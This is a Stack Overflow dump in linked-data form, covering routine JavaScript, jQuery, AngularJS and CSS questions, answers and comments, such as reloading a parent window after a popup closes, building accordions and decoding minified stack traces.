answer count: 1
has body: I need to reload current location(href) via JS : I have a button that open a new window and when that window closed I need to reload the location in window that was initiator(parent). It is work in my browser, but one said me that his window does not reload( he has last version chrome and mac book) I have the followin code: var loginWindow = window.open(...); loginWindow.focus(); loginWindow.onbeforeunload = function() { location.reload(); //when the popUp window close //I even tried this: window.location.href = window.location.href; } but the page not reloaded
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25694748
has title: I need to reload current location js

http://stackoverflow.com/comment/40063601
type: Comment
type: QuestionComment
score: 2
has text: Don't use `$` in names of your services. It's supposed to be only for built-in angular dependencies.
comment on: http://stackoverflow.com/q/25640647

http://stackoverflow.com/comment/40009742
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25590957
score: 0
has text: @rsanchez I use jquery-2.1.1

http://stackoverflow.com/comment/40129464
type: Comment
has text: If you're looking to import lots of scripts you can look into a script loading framework like the following http://code.tutsplus.com/articles/for-your-script-loading-needs--net-19570
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25677476

http://stackoverflow.com/comment/39909222
comment on: http://stackoverflow.com/q/25554722
type: QuestionComment
has text: Can you show your $('#theForm').serializeArray() result here, so i can see if what i thought is correct
type: Comment
score: 0

http://stackoverflow.com/comment/40194334
type: Comment
type: QuestionComment
has text: And what do you expect animating the background image to do?
score: 4
comment on: http://stackoverflow.com/q/25712833

http://stackoverflow.com/comment/39931777
has text: Don't use `FormData`, just use an ordinary Javascript object. `{ name1: value1, name2: value2, ...}`
score: 0
comment on: http://stackoverflow.com/q/25569075
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/39964917
type: QuestionComment
has text: What do you want to prevent with disabling right click? Image stealing? There are plenty of other ways they can get a copy of your images **without** even using the mouse.
score: 0
comment on: http://stackoverflow.com/q/25587032
type: Comment

http://stackoverflow.com/q/25708517
has answer: http://stackoverflow.com/a/25709733
type: Question
has comment: http://stackoverflow.com/comment/40191323
has answer: http://stackoverflow.com/a/25708591
has comment: http://stackoverflow.com/comment/40188780
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
has title: I want to insert values dynamically to hash map
has body: var markerList1={}; var markerList=[]; and adding iterator values from the one for loop function addSomething() // this function will multiple times from a for loop { image ='../css/abc/'+image[iterator]+'.png'; var data = respData[iterator]; var box = getbox(data); var markerOpts = { position : coordinates[iterator], map : map, icon :image, title :data[1], id : data[11] }; var vmarks = new google.maps.Marker(markerOpts); markerList.push(vmarks); markerList1[markerOpts.title].push(vmarks); } whenever we call the function i want append the array's values to same index markerList1[data[11]].push(vmarks); but i'm not getting above result, when i markerList1[data[11]) then i'm getting only the last value i.e thirdvmark i want output like this= markerList1[data[11]] = {firstvmark, secondvmark, thirdvmark};
has comment: http://stackoverflow.com/comment/40186351
has answer: http://stackoverflow.com/a/25708608
has comment: http://stackoverflow.com/comment/40186248
has comment: http://stackoverflow.com/comment/40188606
has comment: http://stackoverflow.com/comment/40186254
type: UnansweredQuestion

http://stackoverflow.com/a/25678851
type: Answer
has comment: http://stackoverflow.com/comment/40138409
upvote count: 1
has body: Previously when i was working with nodemailer module, i also had same issues. It may be possibly some server mis-configuration because the code worked fine on my local server. And on live, it shows Error: connect ECONNREFUSED. I've tried a lot to resolve this issue, but, unsuccessful. So at last i switched to other module i.e. Mailer . It has worked fine for me, you can give it a try.
answers question: http://stackoverflow.com/q/25675153
downvote count: 0
score: 1

http://stackoverflow.com/q/25685383
has answer: http://stackoverflow.com/a/25685551
tagged with: mysql
has title: How to retrieve a Java variable from a JavaScript function?
type: Question
tagged with: javascript
score: 0
has answer: http://stackoverflow.com/a/25685525
answer count: 7
tagged with: jsp
has answer: http://stackoverflow.com/a/25685659
has answer: http://stackoverflow.com/a/25788243
has answer: http://stackoverflow.com/a/25685576
has body: I have a Java class Controller.java. In the controller I can retrieve to MySQL database and keep the user informations into a list by List&lt;User&gt; users = userDAO.findAllUsers(); There is no problem so far. To check, I can retrieve users from index.jsp by &lt;c:forEach var="user" items="${users}"&gt; &lt;li&gt;${user.id}&lt;/li&gt; &lt;/c:forEach&gt; I also have a myScripts.js file. I wrote scripts into it and I imported the file by &lt;script src="myScript.js"&gt;&lt;/script&gt;. There is still no problem so far. I want to sketch a HighCharts line chart by using user list. It means, I have to retrieve a Java variable from a JavaScript function. How can I do this? Thanks a lot.
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/25685678
linked to: http://stackoverflow.com/q/3177733
has answer: http://stackoverflow.com/a/25685709
linked to: http://stackoverflow.com/q/11536455
tagged with: java

http://stackoverflow.com/tag/html
tags question: http://stackoverflow.com/q/25630254
tags question: http://stackoverflow.com/q/25600631
tags question: http://stackoverflow.com/q/25580764
tags question: http://stackoverflow.com/q/25613877
tags question: http://stackoverflow.com/q/25635379
tags question: http://stackoverflow.com/q/25563633
tags question: http://stackoverflow.com/q/25624530
tags question: http://stackoverflow.com/q/25702410
tags question: http://stackoverflow.com/q/25668548
tags question: http://stackoverflow.com/q/25586238
tags question: http://stackoverflow.com/q/25691857
tags question: http://stackoverflow.com/q/25562486
tags question: http://stackoverflow.com/q/25566018
tags question: http://stackoverflow.com/q/25584368
tags question: http://stackoverflow.com/q/25661511
tags question: http://stackoverflow.com/q/25582940
tags question: http://stackoverflow.com/q/25635263
tags question: http://stackoverflow.com/q/25551724
tags question: http://stackoverflow.com/q/25554047
tags question: http://stackoverflow.com/q/25619572
tags question: http://stackoverflow.com/q/25556807
tags question: http://stackoverflow.com/q/25583838
tags question: http://stackoverflow.com/q/25662948
tags question: http://stackoverflow.com/q/25710821
tags question: http://stackoverflow.com/q/25567447
tags question: http://stackoverflow.com/q/25707835
tags question: http://stackoverflow.com/q/25686088
tags question: http://stackoverflow.com/q/25588148
tags question: http://stackoverflow.com/q/25664487
tags question: http://stackoverflow.com/q/25572339
tags question: http://stackoverflow.com/q/25601530
tags question: http://stackoverflow.com/q/25606150
tags question: http://stackoverflow.com/q/25662919
tags question: http://stackoverflow.com/q/25684370
tags question: http://stackoverflow.com/q/25604414
tags question: http://stackoverflow.com/q/25576887
tags question: http://stackoverflow.com/q/25710149
tags question: http://stackoverflow.com/q/25562626
tags question: http://stackoverflow.com/q/25560895
tags question: http://stackoverflow.com/q/25691578
tags question: http://stackoverflow.com/q/25585054
tags question: http://stackoverflow.com/q/25594920
tags question: http://stackoverflow.com/q/25664550
tags question: http://stackoverflow.com/q/25694026
tags question: http://stackoverflow.com/q/25701179
tags question: http://stackoverflow.com/q/25656355
tags question: http://stackoverflow.com/q/25656703
tags question: http://stackoverflow.com/q/25694094
tags question: http://stackoverflow.com/q/25709306
tags question: http://stackoverflow.com/q/25601302
tags question: http://stackoverflow.com/q/25616565
tags question: http://stackoverflow.com/q/25550894
tags question: http://stackoverflow.com/q/25600976
tags question: http://stackoverflow.com/q/25632111
tags question: http://stackoverflow.com/q/25597248
tags question: http://stackoverflow.com/q/25671454
tags question: http://stackoverflow.com/q/25640621
tags question: http://stackoverflow.com/q/25624884
tags question: http://stackoverflow.com/q/25673506
tags question: http://stackoverflow.com/q/25699302
tags question: http://stackoverflow.com/q/25623777
tags question: http://stackoverflow.com/q/25705369
tags question: http://stackoverflow.com/q/25610825
tags question: http://stackoverflow.com/q/25579979
tags question: http://stackoverflow.com/q/25707359
tags question: http://stackoverflow.com/q/25709274
tags question: http://stackoverflow.com/q/25676031
tags question: http://stackoverflow.com/q/25557166
tags question: http://stackoverflow.com/q/25583093
tags question: http://stackoverflow.com/q/25603294
tags question: http://stackoverflow.com/q/25686814
tags question: http://stackoverflow.com/q/25614101
tags question: http://stackoverflow.com/q/25551613
tags question: http://stackoverflow.com/q/25665393
tags question: http://stackoverflow.com/q/25666879
tags question: http://stackoverflow.com/q/25711626
tags question: http://stackoverflow.com/q/25660420
tags question: http://stackoverflow.com/q/25550971
tags question: http://stackoverflow.com/q/25696644
tags question: http://stackoverflow.com/q/25578644

http://stackoverflow.com/q/25567254
tagged with: stack-trace
type: Question
tagged with: javascript
has comment: http://stackoverflow.com/comment/55312524
linked to: http://stackoverflow.com/q/33128859
upvote count: 3
has body: I have a client side application written in AngularJS which communicates through API with back end written in PHP. To log JavaScript errors to the server I use approach similar to the one described by Ben Nadel (http://www.bennadel.com/blog/2542-logging-client-side-errors-with-angularjs-and-stacktrace-js.htm). The problem is that all my JS code is minified so my stack traces logged to the server look like this: TypeError: undefined is not a function : new &lt;anonymous&gt;@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:11:21574 e@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:295 Object.f [as instantiate]@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:410 {anonymous}()@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:18043 link@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:5:14050 q@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:10396 h@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:6417 {anonymous}()@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:6040 E.d@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:6889 n@http://exmaple.com/assets/js/dist/all.min.js?v=1409233767682885224:2:8873 Is there a way to decode them to the actual code traces? (I do have source maps generated) I'm looking for solution either in PHP or NodeJS.
favorite count: 0
type: UnansweredQuestion
has title: How to decode JavaScript stack trace form minified code on the server?
tagged with: php
tagged with: node.js
score: 3
answer count: 0
downvote count: 0
tagged with: source-maps
has comment: http://stackoverflow.com/comment/39927796

http://stackoverflow.com/comment/39977050
comment on: http://stackoverflow.com/a/25592229
score: 0
type: AnswerComment
has text: I disagree, the bottom line of the answer is to remove the "lazy" class after the lazyload plugin is called. Just because it's in a ajaxStop method makes no difference.
type: Comment

http://stackoverflow.com/a/25706489
score: 2
downvote count: 0
answers question: http://stackoverflow.com/q/25706439
has body: Could you use CSS? List items would do this automatically: // css li { list-style: decimal; } // html Create a paragraph //javascript $('.create').on('click', function() { $('ul').append(' item delete item '); $('.removeMe').on('click', function() { $(this).parent().remove(); }); }); http://jsfiddle.net/z00efajm/
has comment: http://stackoverflow.com/comment/40182759
upvote count: 2
type: Answer

http://stackoverflow.com/comment/39958562
has text: Thank you for your answer ,your JSFiddle explains the output,good logic.
type: Comment
comment on: http://stackoverflow.com/a/25583347
score: 0
type: AnswerComment

http://stackoverflow.com/q/25657862
has comment: http://stackoverflow.com/comment/40094477
type: Question
has comment: http://stackoverflow.com/comment/40094489
has comment: http://stackoverflow.com/comment/40094488
tagged with: javascript
tagged with: jquery
has comment: http://stackoverflow.com/comment/40094287
has answer: http://stackoverflow.com/a/25658008
linked to: http://stackoverflow.com/q/22242422
has comment: http://stackoverflow.com/comment/40094267
has title: How to add + and - to accordion
tagged with: http://stackoverflow.com/tag/html
answer count: 1
downvote count: 0
favorite count: 0
accepted answer: http://stackoverflow.com/a/25658008
tagged with: css
type: AnsweredQuestion
score: 2
upvote count: 2
has body: I have implemented a basic accordion, I need to add + and - to accordion. If the accordion is open then '-' should get else '+' This is what tried: JS: $('.info').find('.accordion-toggle').click(function () { //Expand or collapse this panel $(this).next().slideToggle('fast'); //Hide the other panels $(".accordion-content").not($(this).next()).slideUp('fast'); }); Demo Link

http://stackoverflow.com/a/25556971
downvote count: 0
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25556716
has body: Back in the day I had a case like this (node.js) where I was either doing a web or a db request. I had a timeout object, which I think was cancellable (sry, don't remember the details) and had promises on both of them. So if the webpage returned first, I'd cancel the timeout and return the html. And if the timeout happened first, I updated a "timedout" field in some JSON to yes, so that if the web call ever returned, it would know just to die. It was a little mind-blowing, because with these promises, I could enter the function once, and actually return twice! Hope that helps -Tom

http://stackoverflow.com/a/25617237
upvote count: 1
accepted answer of: http://stackoverflow.com/q/25615963
answers question: http://stackoverflow.com/q/25615963
has comment: http://stackoverflow.com/comment/40020591
has comment: http://stackoverflow.com/comment/40020641
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/40020755
downvote count: 0
type: Answer
score: 1
has body: You are using radio buttons instead of check boxes! &lt;input type="radio" name="checkbox1" id="checkbox1_2" class="custom" value="" /&gt; Instead it should be &lt;input type="checkbox" name="checkbox1" id="checkbox1_2" class="custom" value="" /&gt; For radio buttons with id "checkbox1_2" you can use- var rates = document.getElementById('checkbox1_2').value; to see whether it is checked or not you can use-- var checked=document.getElementById('checkbox1_2').checked; or by jquery $('input[name=checkbox1]:checked').val();

http://stackoverflow.com/comment/51896571
comment on: http://stackoverflow.com/a/25634307
type: Comment
score: 0
type: AnswerComment
has text: This doesn't work for me. That said, my `table` value is a DataTables API object. Should it not be?

fancybox
tags question: http://stackoverflow.com/q/25631798
tag name: fancybox
tags question: http://stackoverflow.com/q/25704198
tags question: http://stackoverflow.com/q/25682763
tags question: http://stackoverflow.com/q/25587032
tags question: http://stackoverflow.com/q/25555402
tags question: http://stackoverflow.com/q/25631261
tags question: http://stackoverflow.com/q/25553568
tags question: http://stackoverflow.com/q/25707025
type: Tag
tags question: http://stackoverflow.com/q/25680110
tags question: http://stackoverflow.com/q/25654527

http://stackoverflow.com/a/25681688
answers question: http://stackoverflow.com/q/25681508
type: Answer
has comment: http://stackoverflow.com/comment/40138704
has comment: http://stackoverflow.com/comment/40137324
upvote count: 1
score: 1
has body: I guess you are missing a callback in your resource. You should do something like this in your controller: AvgUsersPerWeek.query(function(data) { $scope.myModel = data; }); See this page for more info In your directive the data is probably not updated and you should add a watcher (or observe for attributes) in the directive to update the data according to change from the resource $attrs.$observe('data', function(newVal){ console.log(newVal); // The rest of your link }) Here is an updated version of your jsfiddle Question author Update: I changed the directive to use : $scope.$watch(attrs.data, function (newVal) { ... And it works, thx!
accepted answer of: http://stackoverflow.com/q/25681508
type: AcceptedAnswer
downvote count: 0

http://stackoverflow.com/q/25560087
has body: I want my function to be able to take a rectangle coord. system and return true or false as to whether the mouse was clicked inside of the region. This should set up a region for the user to click with the top upper corner being in1X, in1Y and in2X, in2Y. if ((event.clientX >= in1X && event.clientX <= in2X) && (event.clientY >= in1Y && event.clientY <= in2Y)) { context.font = "20px Arial"; context.fillText("Click Me",100,300); } Code: Actually it appears to work on maybe the first click but will then if clicked again print Click to the screen. Fiddle: http://jsfiddle.net/doughauf/dnx85rva/
score: 0
answer count: 2
has comment: http://stackoverflow.com/comment/39915930
has answer: http://stackoverflow.com/a/25571296
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/39914917
has answer: http://stackoverflow.com/a/25560243
type: Question
has title: Clicking on a specific coordinate (return TRUE or FALSE)?
tagged with: javascript

http://stackoverflow.com/a/25679002
downvote count: 0
has body: function changeRecordStatus(RECORD_ID,stateCode,statusCode) { // create the SetState request var request = "&lt;s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"&gt;"; request += "&lt;s:Body&gt;"; request += "&lt;Execute xmlns=\"http://schemas.microsoft.com/xrm/2011/Contracts/Services\" xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\"&gt;"; request += "&lt;request i:type=\"b:SetStateRequest\" xmlns:a=\"http://schemas.microsoft.com/xrm/2011/Contracts\" xmlns:b=\"http://schemas.microsoft.com/crm/2011/Contracts\"&gt;"; request += "&lt;a:Parameters xmlns:c=\"http://schemas.datacontract.org/2004/07/System.Collections.Generic\"&gt;"; request += "&lt;a:KeyValuePairOfstringanyType&gt;"; request += "&lt;c:key&gt;EntityMoniker&lt;/c:key&gt;"; request += "&lt;c:value i:type=\"a:EntityReference\"&gt;"; request += "&lt;a:Id&gt;" + RECORD_ID + "&lt;/a:Id&gt;"; request += "&lt;a:LogicalName&gt;cmic_systemusersalesterritoryassociation&lt;/a:LogicalName&gt;"; request += "&lt;a:Name i:nil=\"true\" /&gt;"; request += "&lt;/c:value&gt;"; request += "&lt;/a:KeyValuePairOfstringanyType&gt;"; request += "&lt;a:KeyValuePairOfstringanyType&gt;"; request += "&lt;c:key&gt;State&lt;/c:key&gt;"; request += "&lt;c:value i:type=\"a:OptionSetValue\"&gt;"; request += "&lt;a:Value&gt;"+stateCode+"&lt;/a:Value&gt;"; request += "&lt;/c:value&gt;"; request += "&lt;/a:KeyValuePairOfstringanyType&gt;"; request += "&lt;a:KeyValuePairOfstringanyType&gt;"; request += "&lt;c:key&gt;Status&lt;/c:key&gt;"; request += "&lt;c:value i:type=\"a:OptionSetValue\"&gt;"; request += "&lt;a:Value&gt;"+statusCode+"&lt;/a:Value&gt;"; request += "&lt;/c:value&gt;"; request += "&lt;/a:KeyValuePairOfstringanyType&gt;"; request += "&lt;/a:Parameters&gt;"; request += "&lt;a:RequestId i:nil=\"true\" /&gt;"; request += "&lt;a:RequestName&gt;SetState&lt;/a:RequestName&gt;"; request += "&lt;/request&gt;"; request += "&lt;/Execute&gt;"; request += "&lt;/s:Body&gt;"; request += "&lt;/s:Envelope&gt;"; //send set s…
type: Answer
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/25665792

http://stackoverflow.com/a/25702770
has body: document.links.item is an array of items. document.links.item(0) gets the first item in that array. document.links.item(1) gets the second item in that array. To answer your question, what you are doing wrong is that you are not looping the links.item array as you did in your first example.
upvote count: 2
answers question: http://stackoverflow.com/q/25702732
has comment: http://stackoverflow.com/comment/40175819
downvote count: 0
has comment: http://stackoverflow.com/comment/40175637
has comment: http://stackoverflow.com/comment/40175799
has comment: http://stackoverflow.com/comment/40175731
type: Answer
score: 2

http://stackoverflow.com/comment/40231743
comment on: http://stackoverflow.com/a/25730981
type: Comment
has text: I mean the main grid. Your "Closed" column shows only cells with checkmarks. I need the cells to show the current date ex."9/8/2014" when checking the checkbox or empty if unchecked(The checkbox is displayed in the editform only).The way you have the edit form is perfect.
score: 0
type: AnswerComment

http://stackoverflow.com/q/25598590
type: Question
answer count: 2
accepted answer: http://stackoverflow.com/a/25598657
tagged with: javascript
tagged with: jquery
score: 0
tagged with: http://stackoverflow.com/tag/html
has answer: http://stackoverflow.com/a/25598652
has title: custom message via html jquery validate not showing
possible better answer: http://stackoverflow.com/a/25598652
has answer: http://stackoverflow.com/a/25598657
has body: i learning jquery validation from >> http://bassistance.de/jquery-plugins/jquery-plugin-validation/. I set custom message inline html, like this // error handler Harap pilih Kinerja but when i run this code, error just display "This field is required" not "Harap pilih Kinerja" . how to fix it ?
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/39986105

http://stackoverflow.com/comment/40149573
type: QuestionComment
has text: added a fiddle but it doesn't work right
comment on: http://stackoverflow.com/q/25688472
score: 0
type: Comment

http://stackoverflow.com/a/25564636
score: 1
accepted answer of: http://stackoverflow.com/q/25563088
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25563088
type: Answer
has body: It's not really clear what you are asking, what's wrong with: var myWindows = {}; for(var i=0; i&lt;10; i++) myWindows['win'+i] = Ext.create('Ext.Window', { /* ... */ }); console.log( myWindows.win1 === myWindows['win'+1] ) // true see: Object Access Notation
upvote count: 1

http://stackoverflow.com/comment/39931812
score: 0
comment on: http://stackoverflow.com/q/25569120
type: Comment
type: QuestionComment
has text: Are you sure they did not covered it all in their API? http://developers.deezer.com/login?redirect=/api

http://stackoverflow.com/q/25626173
has comment: http://stackoverflow.com/comment/40036656
linked to: http://stackoverflow.com/q/1586341
type: UnansweredQuestion
score: 0
has body: I have a div on my page which I want to scroll up to after clicking a link in my navigation bar. I wrote the following JavaScript for that, but it is not working. &lt;script&gt; var currentpos = 0; function movedown(element){ window.scrollBy(0,element.offsetHeight); delay = window.setInterval('movedown();',100); currentpos+=1; if(currentpos == element.offsetheight){ stopscroll(); } } function stopscroll(){ window.clearInterval(delay); } &lt;/script&gt;
type: Question
has answer: http://stackoverflow.com/a/25628157
tagged with: javascript
answer count: 1
has title: javascript does not scroll to the element on the page

trace
tag name: trace
type: Tag
tags question: http://stackoverflow.com/q/25581639

http://stackoverflow.com/q/25627237
type: Question
has answer: http://stackoverflow.com/a/25627277
tagged with: javascript
tagged with: jquery
score: 0
answer count: 3
accepted answer: http://stackoverflow.com/a/25627423
tagged with: http://stackoverflow.com/tag/html
has title: Accordion looping on resize
has comment: http://stackoverflow.com/comment/40038833
has body: I have a menu that is hidden in an accordion when viewing on screens less than 600px. On screens larger than 600px the menu is visible. jsfiddle- http://jsfiddle.net/ashatron/zbzqoz2f/ it works ok, but when i resize the window to be greater than 600px, then go back to less than 600px then press view sitemap it loops the animation multiple times. I think its running the function for every resize event, which is queing up the accordion and then looping it. But I'm not sure how best to order the syntax to get it to work. Any help would be appreciated! footernavmenufn = function() { var current_width = $(window).width(); if (current_width &lt; 600) { $('.footer-accordion-head').show(); $('.footer-accordion-body').hide(); $('.footer-accordion-head').click(function () { $(".footer-accordion-body").slideToggle('400'); // console.log('hmmm'); return false; }).next().hide(); } else { $('.footer-accordion-head').hide(); $('.footer-accordion-body').show(); } }; $(document).ready(function () { footernavmenufn(); }); $(window).resize(function(){ footernavmenufn(); //console.log('OMG-WHY-YOU-NO-WORK'); });
has answer: http://stackoverflow.com/a/25627382
type: AnsweredQuestion
tagged with: responsive-design
has answer: http://stackoverflow.com/a/25627423
possible better answer: http://stackoverflow.com/a/25627277

http://stackoverflow.com/comment/40185523
comment on: http://stackoverflow.com/q/25708163
score: 0
type: Comment
has text: Is this inside the function called from onmouseover?
type: QuestionComment

http://stackoverflow.com/a/25572891
has comment: http://stackoverflow.com/comment/39940355
has comment: http://stackoverflow.com/comment/39940411
has comment: http://stackoverflow.com/comment/39940623
has comment: http://stackoverflow.com/comment/39946344
has comment: http://stackoverflow.com/comment/39941106
has comment: http://stackoverflow.com/comment/39940039
has comment: http://stackoverflow.com/comment/39940373
has comment: http://stackoverflow.com/comment/39941065
score: 0
has comment: http://stackoverflow.com/comment/39940595
has comment: http://stackoverflow.com/comment/39940837
has comment: http://stackoverflow.com/comment/39940907
has comment: http://stackoverflow.com/comment/39939942
has body: I imagine Facebook changes their DOM classes from time to time, so that might be the reason. This worked for me though: var posts = document.getElementsByClassName("userContentWrapper"); for(var i=0; i&lt;posts.length; i++){ if(posts[i].innerHTML.indexOf("test") != -1){ var parent = posts[i].parentNode; parent.parentNode.removeChild(parent) }; } This is how my DOM looks, I'd be cool to see if yours is any different.
has comment: http://stackoverflow.com/comment/39940310
has comment: http://stackoverflow.com/comment/39939404
type: Answer
answers question: http://stackoverflow.com/q/25572798

http://stackoverflow.com/comment/39957575
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25582981
has text: might be you can connect one of these APIs http://wordnet.princeton.edu/wordnet/related-projects/#web
score: 1

http://stackoverflow.com/comment/40036999
score: 0
has text: Apologies, edited now. What I'm trying to work out is how to get the radio buttons to read from different lists on selection..
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/25626032

http://stackoverflow.com/comment/40099116
has text: instead of using `index` and `.eq()` use `$(this).is(':enabled')` and `$(this).val(top_select);` also use `.prop('disabled',true)` when you are disabling elements, not `.attr() `
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/25660556

http://stackoverflow.com/comment/40046055
has text: date_format=/^(\d{4})\-(\d{2})\-(\d{2})$/. Compares the date against the regular expression date_format
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/25631140
score: 0

http://stackoverflow.com/comment/61390521
type: AnswerComment
type: Comment
has text: This doesn't work for binding the same template several times with different variables
score: 2
comment on: http://stackoverflow.com/a/33697224

http://stackoverflow.com/comment/39980688
score: 0
type: Comment
has text: Ok, have solution. audio tag didnt work with volume atribute. Volume is audio tag property. And you need to change attr to prop.
type: AnswerComment
comment on: http://stackoverflow.com/a/25595273

http://stackoverflow.com/q/25674102
has answer: http://stackoverflow.com/a/25683921
type: Question
upvote count: 4
downvote count: 0
tagged with: javascript
has answer: http://stackoverflow.com/a/30449143
score: 4
has title: Top bar dropdowns not working with Rails 4.1 and Zurb Foundation 5
tagged with: http://stackoverflow.com/tag/html
tagged with: zurb-foundation
answer count: 4
favorite count: 0
has answer: http://stackoverflow.com/a/32058695
accepted answer: http://stackoverflow.com/a/30449143
tagged with: ruby-on-rails
has body: I'm having a lot of difficulty with this, I've been looking around everywhere and while many people seem to have a similar problem, none of the fixes have worked. I've disabled turbolinks, and I have no other javascript or css styles running. I'm using Rails 4.1, Ruby 2.0.0 and foundation-rails 5.4.3. the css styling itself seems to work okay, buttons show up as buttons, and the topbar layout and look is as expected, but dropdown menus do not work. I've been messing with this for so long that I eventually just created a brand new, completely empty test app with basic scaffolding to test it and still dropdowns still will not work. I've tried a few things including moving $(function(){ $(document).foundation(); }); in the application.js file into a tag in application.html, moving the javascript tags around to several locations in application.html, and several variations of the classes in the menu and tags. Symptoms: Testing on Chrome: Dropdowns are completely unresponsive, when screen is scaled down, menu button doesn't work at all. Testing on Firefox/IE: Dropdowns will actually drop down if they are clicked, but not on hover. Nested dropdowns still not working, and when I click on anything inside the dropdown it dissapears. When the screen is scaled down the menu button does not work at all. here is what I've done: rails new foundationtest rails g scaffold item name:text description:text --skip-stylesheets rake db:migrate I then added foundation-rails to, and removed turbolinks from, my gemfile and ran: bundle rails g foundation:install I accepted all the defaults, then went into the application.js file and removed "//= require turbolinks" from it. as it stands now, this is what I have. application.html: &lt;!DOCTYPE html&gt; &lt;html lang="en"&gt; &lt;head&gt; &lt;meta charset="utf-8" /&gt; &lt;meta name="viewport" content="width=device-width, initial-scale=1.0" /&gt; &lt;title&gt;&lt;%= content_for?(:title) ? yield(:title) : "foundation-rails" %&gt;&lt;/title&gt; &…
tagged with: css
has answer: http://stackoverflow.com/a/25841132
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/25683921

http://stackoverflow.com/q/25575338
score: 12
answer count: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/33635063
favorite count: 0
has answer: http://stackoverflow.com/a/33635063
has answer: http://stackoverflow.com/a/32581535
type: AnsweredQuestion
type: Question
upvote count: 12
accepted answer: http://stackoverflow.com/a/32581535
tagged with: javascript
has body: I'm creating a Mobile Based web page &amp; I'm using web socket connection to handle a chat room. But I want the display turning on every time when user go to the web page by mobile browser. I tried to simulate Button Click from, function eventFire(el, etype){ if (el.fireEvent) { el.fireEvent('on' + etype); } else { var evObj = document.createEvent('Events'); evObj.initEvent(etype, true, false); el.dispatchEvent(evObj); } } But still mobile display turn off after particular time. Please can anyone help me with this??
has title: Prevent display turn off in a Mobile Browser

http://stackoverflow.com/a/25648426
has body: The plugin you are using has javascript events which you can tap into. You can use them to set a variable, and then check for that variable in your scrolling function. $(document).ready(function() { var isOpen; $('#my_popup').popup({ onopen: function() { isOpen = true; }, onclose: function() { isOpen = false; } }); $.fn.fullpage.setMouseWheelScrolling = function (value){ if ( ! isOpen ) { if(value){ addMouseWheelHandler(); }else{ removeMouseWheelHandler(); } } }; });
type: Answer
has comment: http://stackoverflow.com/comment/40081609
answers question: http://stackoverflow.com/q/25647628
has comment: http://stackoverflow.com/comment/40080492
score: 0
has comment: http://stackoverflow.com/comment/40080983
has comment: http://stackoverflow.com/comment/40082519

http://stackoverflow.com/q/25612105
tagged with: css
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/25630501
accepted answer: http://stackoverflow.com/a/25630501
has body: I have a sticky menu that appears when a user scrolls down 500px from the top of the view. I'd like to have it also hide when the user scrolls down to 500px from the bottom. Thanks in advance. var stickTop = $('.sidebar-stick').offset().top + 500; $(window).scroll(function(){ if( $(window).scrollTop() &gt; stickTop ) { $('.sidebar-stick').css({opacity: '1'}); $('.stick-dummy').css('display', 'block'); } else { $('.sidebar-stick').css({opacity: '0'}); $('.stick-dummy').css('display', 'none'); } });
tagged with: javascript
score: 0
has title: Sticky scroll menu hiding when offset().bottom - 500
answer count: 1
tagged with: jquery
tagged with: http://stackoverflow.com/tag/html

http://stackoverflow.com/comment/40171278
comment on: http://stackoverflow.com/a/25699107
has text: This looks like it will eat the `/`, `?` or `=` from the URL; because it's non-capture doesn't mean it's not part of the match being replaced
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/25590022
has body: You should keep z-index of draggable layer more than the others one. First add position and z-index properties to your .draggable elements in CSS: .draggable { width: 150px; height: 150px; padding: 0.5em; background:#FFFFDD; position: relative; z-index: 1; } And in your JS: // the counter var z = 1; $('&lt;div /&gt;', { class: 'draggable ui-widget-content', text: $('textarea').val(), appendTo: '.middle-side', draggable: { containment: 'parent', // whenever the drag start start: function( event, ui ) { // set the z-index one more $(this).css('z-index', ++z); } } }).addClass('placement'); jsFiddle Demo.
type: AcceptedAnswer
downvote count: 0
score: 1
accepted answer of: http://stackoverflow.com/q/25589912
type: Answer
answers question: http://stackoverflow.com/q/25589912
upvote count: 1

http://stackoverflow.com/a/25560860
has body: Do your users from different IP's need to be able to talk to each other? You could use NodeJS as one way to do this. I only recommend Node because its very simple to setup sockets if your answer to my above question is yes. However both technologies would require a medium to advanced skill set.
type: AcceptedAnswer
downvote count: 0
answers question: http://stackoverflow.com/q/25560793
accepted answer of: http://stackoverflow.com/q/25560793
type: Answer
upvote count: 2
score: 2

http://stackoverflow.com/comment/40160802
type: AnswerComment
comment on: http://stackoverflow.com/a/25694274
type: Comment
score: 1
has text: Wow! how on earth did you find that??!! You're my hero!

http://stackoverflow.com/comment/40093460
score: 0
comment on: http://stackoverflow.com/q/25657206
type: Comment
type: QuestionComment
has text: To load template from external file, use jquery's load() function. This is very useful function to load external file. For more info, check this link: http://api.jquery.com/load/

http://stackoverflow.com/a/25684388
accepted answer of: http://stackoverflow.com/q/25683697
answers question: http://stackoverflow.com/q/25683697
has comment: http://stackoverflow.com/comment/46668144
score: 4
type: AcceptedAnswer
